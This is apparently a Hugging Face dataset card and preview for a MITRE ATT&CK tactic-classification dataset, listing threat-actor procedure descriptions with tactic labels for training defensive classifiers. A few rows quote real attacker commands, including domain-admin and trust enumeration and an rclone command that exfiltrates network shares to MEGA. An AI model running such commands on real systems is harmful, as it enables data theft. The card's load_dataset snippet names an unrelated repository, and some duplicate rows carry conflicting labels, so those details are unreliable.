sarahwei/MITRE-v16-tactic-bert-case-based
Text Classification
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17
Datasets:
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During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry internet settings to lower internet security. | ['TA0005:Defense Evasion'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team created privileged domain accounts to be used for further exploitation and lateral movement. | ['TA0003:Persistence'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team installed a modified Dropbear SSH client as the backdoor to target systems. | ['TA0001:Initial Access', 'TA0003:Persistence'] |
During the 2015 Ukraine Electric Power Attack, vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered. | ['TA0005:Defense Evasion'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data. | ['TA0011:Command and Control'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team gathered account credentials via a BlackEnergy keylogger plugin. | ['TA0009:Collection', 'TA0006:Credential Access'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team moved their tools laterally within the corporate network and between the ICS and corporate network. | ['TA0008:Lateral Movement'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team leveraged Microsoft Office attachments which contained malicious macros that were automatically executed once the user permitted them. | ['TA0002:Execution'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry Internet settings to lower internet security before launching `rundll32.exe`, which in-turn launches the malware and communicates with C2 servers over the Internet. . | ['TA0005:Defense Evasion'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid’s industrial control systems. | ['TA0006:Credential Access', 'TA0007:Discovery'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team loaded BlackEnergy into svchost.exe, which then launched iexplore.exe for their C2. | ['TA0005:Defense Evasion', 'TA0004:Privilege Escalation'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team remotely discovered systems over LAN connections. OT systems were visible from the IT network as well, giving adversaries the ability to discover operational assets. | ['TA0007:Discovery'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using `rundll32.exe`. | ['TA0005:Defense Evasion'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team obtained their initial foothold into many IT systems using Microsoft Office attachments delivered through phishing emails. | ['TA0001:Initial Access'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network. | ['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team installed a VBA script called `vba_macro.exe`. This macro dropped `FONTCACHE.DAT`, the primary BlackEnergy implant; `rundll32.exe`, for executing the malware; `NTUSER.log`, an empty file; and desktop.ini, the default file used to determine folder displays on Windows machines. | ['TA0002:Execution'] |
During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy to communicate between compromised hosts and their command-and-control servers via HTTP post requests. | ['TA0011:Command and Control'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used the `sp_addlinkedsrvlogin` command in MS-SQL to create a link between a created account and other servers in the network. | ['TA0003:Persistence', 'TA0004:Privilege Escalation'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used a script to attempt RPC authentication against a number of hosts. | ['TA0006:Credential Access'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used a trojanized version of Windows Notepad to add a layer of persistence for Industroyer. | ['TA0003:Persistence'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team added a login to a SQL Server with `sp_addlinkedsrvlogin`. | ['TA0003:Persistence'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team disabled event logging on compromised systems. | ['TA0005:Defense Evasion'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team created two new accounts, “admin” and “система” . The accounts were then assigned to a domain matching local operation and were delegated new privileges. | ['TA0003:Persistence'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used Mimikatz to capture and use legitimate credentials. | ['TA0006:Credential Access'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used `move` to transfer files to a network share. | ['TA0008:Lateral Movement'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team created two new accounts, “admin” and “система” . | ['TA0005:Defense Evasion'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team masqueraded executables as `.txt` files. | ['TA0005:Defense Evasion'] |
During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files. | ['TA0005:Defense Evasion'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used heavily obfuscated code with Industroyer in its Windows Notepad backdoor. | ['TA0005:Defense Evasion'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used PowerShell scripts to run a credential harvesting tool in memory to evade defenses. | ['TA0002:Execution'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team checked for connectivity to resources within the network and used LDAP to query Active Directory, discovering information about computers listed in AD. | ['TA0007:Discovery'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team utilized `net use` to connect to network shares. | ['TA0008:Lateral Movement'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used various MS-SQL stored procedures. | ['TA0003:Persistence'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used UPX to pack a copy of Mimikatz. | ['TA0005:Defense Evasion'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team created VBScripts to run on an SSH server. | ['TA0002:Execution'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used the `xp_cmdshell` command in MS-SQL. | ['TA0002:Execution'] |
During the 2016 Ukraine Electric Power Attack, WMI in scripts were used for remote execution and system surveys. | ['TA0002:Execution'] |
During the 2016 Ukraine Electric Power Attack, Sandworm Team used an arbitrary system service to load at system boot for persistence for Industroyer. They also replaced the ImagePath registry value of a Windows service with a new backdoor binary. | ['TA0003:Persistence', 'TA0004:Privilege Escalation'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed CaddyWiper on the victim’s IT environment systems to wipe files related to the OT capabilities, along with mapped drives, and physical drive partitions. | ['TA0040:Impact'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Group Policy Objects to deploy and execute malware. | ['TA0005:Defense Evasion', 'TA0004:Privilege Escalation'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team used a Group Policy Object to copy CaddyWiper's executable `msserver.exe` from a staging server to a local hard drive before deployment. | ['TA0008:Lateral Movement'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Systemd service units to masquerade GOGETTER malware as legitimate or seemingly legitimate services. | ['TA0005:Defense Evasion'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team proxied C2 communications within a TLS-based tunnel. | ['TA0011:Command and Control'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy. | ['TA0002:Execution'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the GOGETTER tunneler software to establish a “Yamux” TLS-based C2 channel with an external server. | ['TA0011:Command and Control'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object to execute CaddyWiper at a predetermined time. | ['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team configured Systemd to maintain persistence of GOGETTER, specifying the `WantedBy=multi-user.target` configuration to run GOGETTER when the system begins accepting user logins. | ['TA0003:Persistence', 'TA0004:Privilege Escalation'] |
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the Neo-REGEORG webshell on an internet-facing server. | ['TA0003:Persistence'] |
APT41 DUST used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration. | ['TA0009:Collection'] |
APT41 DUST used HTTPS for command and control. | ['TA0011:Command and Control'] |
APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information. | ['TA0009:Collection'] |
APT41 DUST used compromised Google Workspace accounts for command and control. | ['TA0042:Resource Development'] |
APT41 DUST used stolen code signing certificates for DUSTTRAP malware and subsequent payloads. | ['TA0005:Defense Evasion'] |
APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components. | ['TA0042:Resource Development'] |
APT41 DUST involved the use of DLL search order hijacking to execute DUSTTRAP. | ['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation'] |
APT41 DUST used DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller. | ['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation'] |
APT41 DUST collected data from victim Oracle databases using SQLULDR2. | ['TA0009:Collection'] |
APT41 DUST used encrypted payloads decrypted and executed in memory. | ['TA0005:Defense Evasion'] |
APT41 DUST exfiltrated collected information to OneDrive. | ['TA0010:Exfiltration'] |
APT41 DUST deleted various artifacts from victim systems following use. | ['TA0005:Defense Evasion'] |
APT41 DUST involved execution of `certutil.exe` via web shell to download the DUSTPAN dropper. | ['TA0011:Command and Control'] |
APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration. | ['TA0009:Collection'] |
APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`. | ['TA0005:Defense Evasion'] |
APT41 DUST used internet scan data for target development. | ['TA0043:Reconnaissance'] |
APT41 DUST involved use of search engines to research victim servers. | ['TA0043:Reconnaissance'] |
APT41 DUST involved access of external victim websites for target development. | ['TA0043:Reconnaissance'] |
APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control. | ['TA0042:Resource Development'] |
APT41 DUST used Windows services to execute DUSTPAN. | ['TA0002:Execution'] |
APT41 DUST used HTTPS for command and control. | ['TA0011:Command and Control'] |
APT41 DUST used compromised Google Workspace accounts for command and control. | ['TA0011:Command and Control'] |
APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence. | ['TA0003:Persistence'] |
APT41 DUST used Windows Services with names such as `Windows Defend` for persistence of DUSTPAN. | ['TA0003:Persistence', 'TA0004:Privilege Escalation'] |
For C0010, UNC3890 actors established domains that appeared to be legitimate services and entities, such as LinkedIn, Facebook, Office 365, and Pfizer. | ['TA0042:Resource Development'] |
During C0010, UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company. | ['TA0042:Resource Development'] |
During C0010, UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021. | ['TA0001:Initial Access'] |
For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information. | ['TA0042:Resource Development'] |
During C0010, UNC3890 actors downloaded tools and malware onto a compromised host. | ['TA0011:Command and Control'] |
For C0010, UNC3890 actors used unique malware, including SUGARUSH and SUGARDUMP. | ['TA0042:Resource Development'] |
For C0010, UNC3890 actors obtained multiple publicly-available tools, including METASPLOIT, UNICORN, and NorthStar C2. | ['TA0042:Resource Development'] |
For C0010, UNC3890 actors staged malware on their infrastructure for direct download onto a compromised system. | ['TA0042:Resource Development'] |
For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system. | ['TA0042:Resource Development'] |
For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered. | ['TA0042:Resource Development'] |
For C0011, Transparent Tribe registered domains likely designed to appear relevant to student targets in India. | ['TA0042:Resource Development'] |
During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email. | ['TA0002:Execution'] |
During C0011, Transparent Tribe relied on student targets to click on a malicious link sent via email. | ['TA0002:Execution'] |
During C0011, Transparent Tribe sent malicious attachments via email to student targets in India. | ['TA0001:Initial Access'] |
During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India. | ['TA0001:Initial Access'] |
For C0011, Transparent Tribe hosted malicious documents on domains registered by the group. | ['TA0042:Resource Development'] |
For C0011, Transparent Tribe used malicious VBA macros within a lure document as part of the Crimson malware installation process onto a compromised host. | ['TA0002:Execution'] |
For C0015, the threat actors used DLL files that had invalid certificates. | ['TA0005:Defense Evasion'] |
During C0015, the threat actors used Conti ransomware to encrypt a compromised network. | ['TA0040:Impact'] |
During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration. | ['TA0010:Exfiltration'] |
During C0015, the threat actors obtained files and data from the compromised network. | ['TA0009:Collection'] |
During C0015, the threat actors collected files from network shared drives prior to network encryption. | ['TA0009:Collection'] |
During C0015, the threat actors use the command `net group "domain admins" /dom` to enumerate domain groups. | ['TA0007:Discovery'] |
During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts. | ['TA0007:Discovery'] |
During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process. | ['TA0005:Defense Evasion', 'TA0004:Privilege Escalation'] |
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`. | ['TA0010:Exfiltration'] |
During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful. | ['TA0007:Discovery'] |
During C0015, the threat actors downloaded additional tools and files onto a compromised network. | ['TA0011:Command and Control'] |
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cyber_MITRE_tactic_CTI_dataset_v16
This dataset contains procedural descriptions from the MITRE ATT&CK framework (v16, Enterprise version). Each entry includes a text column detailing a specific attack method, while the corresponding label indicates the tactic associated with the procedure. The dataset is designed for text classification tasks, aimed at identifying and categorizing attack behaviors based on the described methods.
Data Instances
An example looks as follows:
{'text': 'zwShell has established persistence by adding itself as a new service.',
'label': '['TA0003:Persistence', 'TA0004:Privilege Escalation']'}
Data Fields
The data fields are the same among all configurations:
- text (str): A procedure for an attack from MITRE.
- label (str): Corresponding technique in MITRE ATT&CK v16 (enterprise).
Curation Process
Using the Dataset You can easily download and utilize the MITRE CTI with corresponding technique with Hugging Face's datasets library:
from datasets import load_dataset
# The entire dataset is available for use
dataset = load_dataset("sarahwei/Taiwanese-Minnan-Sutiau")
print(dataset)
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